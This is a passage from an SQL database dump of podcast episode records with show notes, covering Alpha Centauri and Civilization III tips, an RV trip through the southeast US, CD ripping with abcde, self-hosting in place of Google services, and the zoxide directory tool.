href=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Computer games, strategy games, Alpha Centauri',0,0,1),
(3970,'2023-10-20','Playing Alpha Centauri, Part 1',1021,'Part 1 of tips on playing Alpha Centauri','<p>This starts our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://alphacentauri.fandom.com/wiki/Governor\"\nclass=\"uri\">https://alphacentauri.fandom.com/wiki/Governor</a></li>\n<li><a href=\"https://civilization.fandom.com/wiki/Factions_(SMAC)\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Factions_(SMAC)</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Sparta\"\nclass=\"uri\">http://en.wikipedia.org/wiki/Sparta</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/militarism\"\nclass=\"uri\">http://en.wikipedia.org/wiki/militarism</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/survivalism\"\nclass=\"uri\">http://en.wikipedia.org/wiki/survivalism</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/martial_law\"\nclass=\"uri\">http://en.wikipedia.org/wiki/martial_law</a></li>\n<li><a href=\"https://civilization.fandom.com/wiki/Vendetta_(SMAC)\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Vendetta_(SMAC)</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centuari-1/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centuari-1/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Computer games, strategy games, Alpha Centauri',0,0,1),
(3980,'2023-11-03','Huntsville to Vicksburg',908,'From NASA to the Civil War.','<p>We survive the freezing weather in Huntsville, and then move on to\nour next major stop in Vicksburg, Mississippi. But we have a problem of\na refrigerator that stops working and needs to be replaced.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjAvdPH\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvdPH</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvfVo\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvfVo</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/huntsville-to-vic\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/huntsville-to-vic</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US',0,0,1),
(3990,'2023-11-17','Playing Alpha Centauri, Part 2',1221,'Part 2 of tips on playing Alpha Centauri','<p>This continues our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others. This episode is all\nabout Social Engineering choices.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-2/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-2/</a></li>\n</ul>\n',198,0,0,'CC-BY-SA','Computer games, strategy games, Alpha Centauri',0,0,1),
(4000,'2023-12-01','New Orleans',957,'We visit the Big Easy.','<p>We get to visit New Orleans, and a bit of Louisiana, in this episode.\nOf course, we only scratched the surface, but that is true of most\ntravel when you think about it. We did see a few interesting things\nalong the way, and started to realize that this trip is not just about\nNASA sites, but also a lot of military history, which is also an\ninterest of mine.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjAvhRR\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvhRR</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvoB6\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvoB6</a></li>\n<li><a\nhref=\"https://www.flickr.com/photos/ahuka/52740199646/in/dateposted-public/\"\nclass=\"uri\">https://www.flickr.com/photos/ahuka/52740199646/in/dateposted-public/</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvp24\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvp24</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvpc9\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvpc9</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAviHF\"\nclass=\"uri\">https://flic.kr/s/aHBqjAviHF</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/new-orleans/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/new-orleans/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, New Orleans',0,0,1),
(4010,'2023-12-15','Playing Alpha Centauri, Part 3',1061,'Part 3 of tips on playing Alpha Centauri','<p>This continues our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others. This episode looks\nat the Design Workshop, and how to create powerful units for your\nmilitary.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://alphacentauri2.info/wiki/Unit\"\nclass=\"uri\">https://alphacentauri2.info/wiki/Unit</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-3/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-3/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Alpha Centauri',0,0,1),
(4020,'2023-12-29','Alabama to Florida',812,'We start traveling across the Gulf Coast on our way to Florida.','<p>We leave New Orleans and start out across the Gulf Coast. We make a\nbrief stop in Mississippi to add one more NASA site to our trip, then\ninto Alabama just south of Mobile. From there we move into the Florida\nPanhandle.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjAviPn\"\nclass=\"uri\">https://flic.kr/s/aHBqjAviPn</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvk1v\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvk1v</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvqGi\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvqGi</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvqPc\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvqPc</a></li>\n<li><a\nhref=\"https://www.flickr.com/photos/ahuka/52741226923/in/album-72177720306649109/\"\nclass=\"uri\">https://www.flickr.com/photos/ahuka/52741226923/in/album-72177720306649109/</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvx9b\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvx9b</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvszF\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvszF</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvr86\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvr86</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvDr1\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvDr1</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/alabama-to-florida/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/alabama-to-florida/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, Alabama, Florida',0,0,1),
(4030,'2024-01-12','Playing Alpha Centauri, Part 4',728,'Part 4 of tips on playing Alpha Centauri','<p>This continues our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://alphacentauri.fandom.com/wiki/Victory\"\nclass=\"uri\">https://alphacentauri.fandom.com/wiki/Victory</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-4/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-4/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Alpha Centauri',0,0,1),
(4040,'2024-01-26','Further Into Florida',893,'We continue our Florida journey and hit the Kennedy Space Center.','<p>We leave the Florida Panhandle to move into Central Florida and our\nhighly anticipated visit to the Kennedy Space Center. It turned out to\nbe everything we hoped, and we had a fantastic time. In fact we spent\nfive days at the Center soaking it all in, and had a blast.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://www.flickr.com/photos/ahuka/52744370697/in/album-72177720306692379/\"\nclass=\"uri\">https://www.flickr.com/photos/ahuka/52744370697/in/album-72177720306692379/</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvxqG\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvxqG</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvysa\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvysa</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvyCM\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvyCM</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvEYe\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvEYe</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/further-into-florida/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/further-into-florida/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, Florida',0,0,1),
(4050,'2024-02-09','Playing Alpha Centauri, Part 5',1133,'Part 5 of tips on playing Alpha Centauri','<p>This continues our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-2/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-2/</a></li>\n<li><a href=\"https://alphacentauri2.info/wiki/Difficulty\"\nclass=\"uri\">https://alphacentauri2.info/wiki/Difficulty</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-5/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-5/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Alpha Centauri',0,0,1),
(4060,'2024-02-23','Florida to Georgia',741,'We wrap up our Florida adventure and move up to Georgia.','<p>We finish up our visit to Kennedy Space Center with one more day at\nthe Center. Then we spend a few days at St. Augustine before leaving\nFlorida and moving up north to Savannah, Georgia</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjAvzyo\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvzyo</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvzD3\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvzD3</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvFon\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvFon</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvFAg\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvFAg</a></li>\n<li><a\nhref=\"https://www.flickr.com/photos/ahuka/52747902453/in/album-72177720306712627/\"\nclass=\"uri\">https://www.flickr.com/photos/ahuka/52747902453/in/album-72177720306712627/</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvHR5\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvHR5</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/florida-to-georgia/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/florida-to-georgia/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, Florida, Georgia',0,0,1),
(4070,'2024-03-08','Civilization III',972,'We start our look at the next game in the Civilization franchise.','<p>This starts our look at Civilization III, which continued the\nCivilization franchise and followed upon the Alpha Centauri game. This\ngame builds upon the concepts already a part of Civilization, but adds\nsome new features and advancements. Every new version of Civiliation has\npushed new concepts and developed the franchise further, and that is one\nreason why each one has been a best-seller and an award winner.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://civilization.fandom.com/wiki/Unique_unit_(Civ3)\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Unique_unit_(Civ3)</a></li>\n<li><a\nhref=\"https://civilization.fandom.com/wiki/List_of_strengths_in_Civ3\"\nclass=\"uri\">https://civilization.fandom.com/wiki/List_of_strengths_in_Civ3</a></li>\n<li><a href=\"https://civilization.fandom.com/wiki/Golden_Age_(Civ3)\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Golden_Age_(Civ3)</a></li>\n<li><a\nhref=\"https://civilization.fandom.com/wiki/List_of_civilizations_in_Civ3\"\nclass=\"uri\">https://civilization.fandom.com/wiki/List_of_civilizations_in_Civ3</a></li>\n<li><a href=\"https://www.civfanatics.com/civ3/infocenter/#victories\"\nclass=\"uri\">https://www.civfanatics.com/civ3/infocenter/#victories</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=YZDmlnJSVdE\"\nclass=\"uri\">https://www.youtube.com/watch?v=YZDmlnJSVdE</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=8WeGVE84mVU\"\nclass=\"uri\">https://www.youtube.com/watch?v=8WeGVE84mVU</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Civilization_III\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Civilization_III</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=_LKcoZd6yYM\"\nclass=\"uri\">https://www.youtube.com/watch?v=_LKcoZd6yYM</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=Ntkw5otU8C4\"\nclass=\"uri\">https://www.youtube.com/watch?v=Ntkw5otU8C4</a></li>\n<li><a href=\"https://www.palain.com/gaming/civilization-iii/\"\nclass=\"uri\">https://www.palain.com/gaming/civilization-iii/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA',' Computer games, strategy games, Civilization III',0,0,1),
(4080,'2024-03-22','Georgia to South Carolina',560,'We visit the beautiful city of Savannah, Georgia, and then move on to Charleston, South Carolina.','<p>Savannah, Georgia is one of the most beautiful cities in the United\nStates, with a great history. It is one of the older cities in the south\nthat actually escaped destruction in the Civil War because the mayor\nsurrendered the city to General Sherman. After visiting this city, we\nmoved just a bit further north to Charleston, South Carolina, where the\nCivil War began with the assault on Fort Sumter.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjAvHR5\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvHR5</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvKgk\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvKgk</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvPR2\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvPR2</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjAvPYm\"\nclass=\"uri\">https://flic.kr/s/aHBqjAvPYm</a></li>\n<li><a\nhref=\"https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/florida-to-georgia/\"\nclass=\"uri\">https://www.palain.com/travel/rv-trip-2022-2023-southeast-us/florida-to-georgia/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','RV, travel, southeast US, Georgia, South Carolina',0,0,1),
(3839,'2023-04-20','Rip a CD in the terminal',300,'Archer72 rips CD\'s in the terminal and avoids the whims of the media companies','<p>Wiki</p>\n<p><a href=\"https://abcde.einval.com/wiki/\" title=\"ABCDE Wiki\">ABCDE\nWiki</a></p>\n<p>Github</p>\n<p><a href=\"https://github.com/johnlane/abcde\"\ntitle=\"ABCDE Github page\">ABCDE Github page</a></p>\n<p>Git</p>\n<p><a\nhref=\"https://git.einval.com/cgi-bin/gitweb.cgi?p=abcde.git;a=summary\"\ntitle=\"ABCDE Git page\">ABCDE Git page</a></p>\n<p><a\nhref=\"https://askubuntu.com/questions/1179179/abcde-what-is-an-abcde-conf-file-to-rip-to-multiple-formats\"\ntitle=\"Ask Ubuntu page\">Ask Ubuntu page</a></p>\n<ul>\n<li><a href=\"http://hackerpublicradio.org/eps/hpr3839/abcde.conf\"\ntitle=\"abcde CD ripping configuration file\">abcde.conf \"abcde CD ripping\nconfiguration file\"</a></li>\n</ul>\n<p><em><em>Custom abcde configuration file</em></em></p>\n<ul>\n<li><p>For only ogg,mp3,flac and opus</p></li>\n<li><p><a\nhref=\"http://hackerpublicradio.org/eps/hpr3839/custom-abcde.conf\"\ntitle=\"Custom abcde CD ripping configuration file\">custom-abcde.conf\n\"abcde CD ripping configuration file\"</a></p></li>\n</ul>\n<p><em><em>freedb.freedb.org is dead; use gnudb.gnudb.org\ninstead</em></em></p>\n<p><a href=\"https://abcde.einval.com/bugzilla/show_bug.cgi?id=155\"\ntitle=\"Bugzilla entry for freedb.org\">Bugzilla entry for\nfreedb.org</a></p>\n<p><em><em>Updated CDDB location in .abcde.conf</em></em></p>\n<pre><code>CDDBURL=&quot;http://gnudb.gnudb.org/~cddb/cddb.cgi&quot;</code></pre>\n<p><em><em>Alias in BASH</em></em></p>\n<pre><code>alias ripcd.mp3=&#39;abcde -o mp3&#39;\nalias ripcd.opus=&#39;abcde -o opus&#39;\nalias ripcd.ogg=&#39;abcde -o ogg&#39;\nalias ripcd.opus=&#39;abcde -o opus&#39;</code></pre>\n<p><em><em>More Info</em></em></p>\n<p><a\nhref=\"https://askubuntu.com/questions/788327/use-abcde-to-produce-high-quality-flac-and-mp3-output-with-album-art-under-xenia#788757\"\nclass=\"uri\">https://askubuntu.com/questions/788327/use-abcde-to-produce-high-quality-flac-and-mp3-output-with-album-art-under-xenia#788757</a></p>\n<pre><code>abcde -o &#39;flac:-8,mp3:-b 320&#39; -G</code></pre>\n',318,11,0,'CC-BY-SA','optical media, terminal apps, lightweight apps, rip cd',0,0,1),
(3832,'2023-04-11','How I left Google behind',1813,'Just an overview of what services I now use to replace previously used Google services','<p>A list of the software and hardware I cover in the show.</p>\n<h3 id=\"hardware\">Hardware:</h3>\n<ul>\n<li><p>Server - 11th gen i5-11400, 64GB RAM, 12TB SSD storage</p></li>\n<li><p>Local backup server - 4th gen i5-4570, 32GB RAM, 24TB HDD storage\nin mirrored ZFS pool for 12TB usable.</p></li>\n<li><p>Offsite backup server - Celeron J4125, 16GB RAM, 8TB SSD\nstorage</p></li>\n</ul>\n<h3 id=\"software\">Software:</h3>\n<ul>\n<li><p>Hypervisor - Proxmox Virtual Environment<br />\n<a href=\"https://www.proxmox.com/en/proxmox-ve\"\nclass=\"uri\">https://www.proxmox.com/en/proxmox-ve</a></p></li>\n<li><p>Backup software - Proxmox Backup Server<br />\n<a href=\"https://www.proxmox.com/en/proxmox-backup-server\"\nclass=\"uri\">https://www.proxmox.com/en/proxmox-backup-server</a></p></li>\n<li><p>Email - iRedMail<br />\n<a href=\"https://www.iredmail.org/index.html\"\nclass=\"uri\">https://www.iredmail.org/index.html</a></p></li>\n<li><p>Photos, Notes, File Storage, Office Software - Nextcloud\nAIO<br />\n<a href=\"https://github.com/nextcloud/all-in-one\"\nclass=\"uri\">https://github.com/nextcloud/all-in-one</a></p></li>\n<li><p>Music - Funkwhale<br />\n<a href=\"https://funkwhale.audio/\"\nclass=\"uri\">https://funkwhale.audio/</a></p></li>\n<li><p>Social Media - Mastodon<br />\n<a href=\"https://github.com/mastodon/mastodon\"\nclass=\"uri\">https://github.com/mastodon/mastodon</a></p></li>\n<li><p>Blog - writefreely<br />\n<a href=\"https://github.com/writefreely/writefreely\"\nclass=\"uri\">https://github.com/writefreely/writefreely</a></p></li>\n<li><p>Video - Invidious, Peertube<br />\n<a href=\"https://invidious.io/\"\nclass=\"uri\">https://invidious.io/</a><br />\n<a href=\"https://github.com/Chocobozzz/PeerTube/\"\nclass=\"uri\">https://github.com/Chocobozzz/PeerTube/</a></p></li>\n<li><p>Chat - Matrix, Element<br />\n<a href=\"https://github.com/matrix-org/synapse/\"\nclass=\"uri\">https://github.com/matrix-org/synapse/</a><br />\n<a href=\"https://element.io/\"\nclass=\"uri\">https://element.io/</a></p></li>\n</ul>\n',375,0,0,'CC-BY-SA','selfhosted,google,proxmox,iredmail,nextcloud,funkwhale,mastodon,writefreely,peertube,invidious,matri',0,0,1),
(3833,'2023-04-12','Software Freedom Podcast',2412,'Another excellent podcast for your consideration this time it\'s news from the FSFE','<h1>Software Freedom Podcast - Free Software Foundation Europe</h1>\n\n<p>Another recommendation for your podcatcher from our sister project <a href=\"https://freeculturepodcasts.org/\">https://freeculturepodcasts.org/</a></p>\n\n<ul>\n<li>Website: <a href=\"https://fsfe.org/about/about.en.html\">https://fsfe.org/about/about.en.html</a></li>\n<li>Episode: <a href=\"https://fsfe.org/news/podcast/episode-14.html\">https://fsfe.org/news/podcast/episode-14.html</a></li>\n<li>Feed Opus: <a href=\"feed://fsfe.org/news/podcast-opus.en.rss\">feed://fsfe.org/news/podcast-opus.en.rss</a></li>\n<li>Feed mp3: <a href=\"feed://fsfe.org/news/podcast.en.rss\">feed://fsfe.org/news/podcast.en.rss</a></li>\n<li>Copyright (c) Free Software Foundation Europe. Creative Commons BY-SA 4.0</li>\n</ul>\n\n<hr />\n\n<h1>SFP#14: The world of mesh networking with Elektra Wagenrad</h1>\n\n<p>\nWith this episode the Software Freedom Podcast opens the door to the fascinating and sometimes complex world of mesh networking. And who better than Elektra Wagenrad can take us on this journey? Elektra is one of the original developers of the B.A.T.M.A.N. protocol and of the Mesh Potato project.\n</p>\n\n<p>In our 14th Software Freedom Podcast episode Matthias Kirschner talks with our guest, Elektra Wagenrad, about the origins of Freifunk, the B.A.T.M.A.N. protocol, and the Mesh Potato project. If you are new to the world of mesh networking this episodes is an easy entrance to it. Elektra not only explains the theory behind the protocols but also dives deeper into the philosophical idea of it. In this context, Matthias and Elektra also touch on the difficult topic of limiting the use of Free Software, using the example of the former ban on the use of the B.A.T.M.A.N. protocol for military activities. Last but not least they also discuss the EU’s <a href=\"https://fsfe.org/activities/radiodirective/index.en.html\">Radio Equipment Directive</a> and the FSFE\'s <a href=\"https://fsfe.org/activities/routers/routers.en.html\">Router Freedom activity</a>.</p>\n\n<p>With this episode, the Software Freedom Podcast has produced an easy to follow and easy to understand podcast for everybody who is interested in mesh networking. Join us on our journey through this fascinating technical and philosophical world and listen to Elektra and Matthias as they tell the story with its ups and downs.\n</p>\n\n\n\n<p>Read more:</p>\n<ul>\n<li><a href=\"https://fsfe.org//freesoftware/index.en.html\">What is Free Software?</a></li>\n<li><a href=\"https://freifunk.net/\">Freifunk (DE)</a></li>\n<li><a href=\"https://www.open-mesh.org/\">Open-Mesh Project</a></li>\n<li><a href=\"https://villagetelco.org/mesh-potato/\">The \"Mesh Potato\" project</a></li>\n<li><a href=\"https://fsfe.org//activities/radiodirective/radiodirective.en.html\">FSFE’s activity on Radio Lockdown</a></li>\n<li><a href=\"https://fsfe.org//activities/routers/routers.en.html\">FSFE\'s Router Freedom activity</a></li>\n</ul>\n\n<p>If you liked this episode and want to support our continuous work for software freedom, please help us with a <a href=\"https://my.fsfe.org/donate?referrer=https://fsfe.org/news/podcast/episode-14.html\">donation</a>.</p>\n\n<hr />\n',30,75,0,'CC-BY-SA','FOSDEM, Podcast Recommendations, FSFE, FLOSS',0,0,1),
(3836,'2023-04-17','Using \'zoxide\', an alternative to \'cd\'',715,'Dave has been using \'zoxide\' for a little while and really likes it','<article>\n<style>\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n<h2 id=\"overview\">Overview</h2>\n<p>I like the idea that there are tools available to enhance the\n<code>\'cd\'</code> command, remembering places you have been in the file\nsystem and taking you there easily.</p>\n<p>I use <a\nhref=\"https://hackerpublicradio.org/eps.php?id=1843\"><code>\'pushd\'</code>\nand <code>\'popd\'</code></a> for moving in and out of directories from a\nplace I want to do most of my work, but something more powerful than\nthese or <code>cd</code> have always seemed desirable.</p>\n<p>I was using <code>\'autojump\'</code> for a while last year, but didn’t\nreally get on with it. This was mainly because there was no way of\nexcluding certain directories which had been visited from its list.</p>\n<p>Recently I heard of <code>\'zoxide\'</code>, which I have been trying\nand really like.</p>\n<hr class=\"thin\">\n<h2 id=\"zoxide\"><code>zoxide</code></h2>\n<h3 id=\"what-is-it\">What is it?</h3>\n<p>From the <a href=\"https://github.com/ajeetdsouza/zoxide\">GitHub\npage</a>:</p>\n<blockquote>\n<p>zoxide is a smarter cd command, inspired by z<a href=\"#fn1\"\nclass=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a> and\nautojump.</p>\n<p>It remembers which directories you use most frequently, so you can\n“jump” to them in just a few keystrokes. zoxide works on all major\nshells.</p>\n</blockquote>\n<p>In its man page it’s billed as “A faster way to navigate your\nfilesystem”.</p>\n<p>It’s written in <code>Rust</code> so is very fast.</p>\n<h3 id=\"what-does-it-do\">What does it do?</h3>\n<ul>\n<li><p>It offers the functionality of the Linux/Unix <code>\'cd\'</code>\ncommand.</p></li>\n<li><p>It collects the directories you have visited into a database and\ngives them a ranking relating to the number of times they have been\nvisited. It applies aging rules and removes these when the ranking drops\nbelow one. It uses <em>frecency</em> to do this - a combination of\nfrequency and recency. (<a\nhref=\"https://en.wikipedia.org/wiki/Frecency\">See the Wikipedia page\nexplaining this word</a>)</p></li>\n<li><p>It performs algorithmic matching on the directory you specify and\ntakes you to the highest ranking best match.</p></li>\n<li><p>It can resolve conflicts between matching directories or can\nallow selection through an interactive interface.</p></li>\n<li><p>It can interface to <code>fzf</code>, a general-purpose\ncommand-line fuzzy finder.</p></li>\n<li><p>It “knows” where it is (in the Bash shell) by calling a function\nout of the <code>PROMPT_COMMAND</code> variable. This can be used to\nexecute one or more commands before displaying the prompt for a new\ncommand. This is a common way to <em>hook</em> monitoring commands into\na Bash session.</p></li>\n</ul>\n<h3 id=\"where-can-you-get-it\">Where can you get it?</h3>\n<p>I installed it from the Debian Testing repo, but I got\n<code>\'zoxide v0.4.3-unknown\'</code> whereas the latest version is\n0.9.0. Installing from the <a\nhref=\"https://github.com/ajeetdsouza/zoxide\">GitHub page</a> seems the\nbest option if you want the latest version.</p>\n<p>There is an installation script on the GitHub page and it’s possible\nto download it with <code>curl</code> and pipe it to Bash. I’m never\ncomfortable doing this, but that’s your choice.</p>\n<p>I also installed <code>fzf</code> from the Debian Testing repo,\nthough I’m still learning what this can do, since it’s very rich in\nfeatures!</p>\n<h3 id=\"how-do-you-set-it-up\">How do you set it up?</h3>\n<p>This process is shell-specific. I run Bash so I have added it to my\n<code>~/.bashrc</code> and the command there is:</p>\n<pre><code>eval &quot;$(zoxide init bash)&quot;</code></pre>\n<p>What this does is generate a number of Bash functions and aliases and\nsome commands which are fed into <code>eval</code> and executed in the\ncurrent context.</p>\n<p>Function <code>z</code> is created which gives a way of invoking\n<code>zoxide</code> in fewer keystrokes, though the full functionality\nof <code>zoxide</code> is not available through this function, use the\nfull <code>zoxide</code> command.</p>\n<p>Function <code>zi</code> lists all of the stored directories courtesy\nof <code>fzf</code>. I haven’t tested this without <code>fzf</code>, so\nI’m not sure what it does if it’s not available. The scrollable list can\nbe navigated and a directory chosen with the <code>Enter</code> key (or\ndouble mouse click). In the scrollable list, if characters are typed\nthey are used to select directories from the list, so that it’s simple\nto find a directory whose exact name you have forgotten.</p>\n<h3 id=\"how-to-tune-it\">How to tune it?</h3>\n<p>The <code>zoxide</code> behaviour can be modified through environment\nvariables (and at setup time).</p>\n<p>For example it is possible to define directories which are not to be\nstored using the environment variable <code>_ZO_EXCLUDE_DIRS</code>.\nThis must be done before running <code>zoxide init</code>. In my case, I\nhave the following in my <code>~/.bashrc</code>:</p>\n<pre><code>export _ZO_EXCLUDE_DIRS=&quot;/media/extras:/media/extras/*&quot;\neval &quot;$(zoxide init bash)&quot;</code></pre>\n<p>The setup details are to be found in the GitHub documentation.</p>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>I really like this. It’s fast and configurable, and with\n<code>fzf</code> gives some great command-line features. There are\neditor plugins, such as <code>zoxide.vim</code> for Vim and Neovim (not\nused yet). It also integrates with other third-party tools.</p>\n<p>It seems to be the best of its type!</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>HPR show <a\nhref=\"https://hackerpublicradio.org/eps.php?id=1843\">“hpr1843 :: Some\nBash tips”</a> covers <code>pushd</code>, <code>popd</code> and\n<code>dirs</code>.</li>\n<li><a href=\"https://github.com/ajeetdsouza/zoxide\"><code>zoxide</code>\nGitHub page</a></li>\n<li><a href=\"https://github.com/junegunn/fzf\"><code>fzf</code> GitHub\npage</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Frecency\">Wikipedia page on\nthe word <em>frecency</em></a></li>\n<li><a href=\"https://github.com/rupa/z\">The <code>\'z\'</code> tool on\nGitHub</a></li>\n<li><a href=\"https://github.com/wting/autojump\">The\n<code>\'autojump\'</code> tool on GitHub</a></li>\n</ul>\n<section class=\"footnotes footnotes-end-of-document\"\nrole=\"doc-endnotes\">\n<hr />\n<ol>\n<li id=\"fn1\" role=\"doc-endnote\"><p>I didn’t know what <code>\'z\'</code>\nwas when recording the audio. I did some research and found it, and can\nsee how <code>\'zoxide\'</code> has similar behaviour. I have added a link\nin case you want to investigate this yourself.<a href=\"#fnref1\"\nclass=\"footnote-back\" 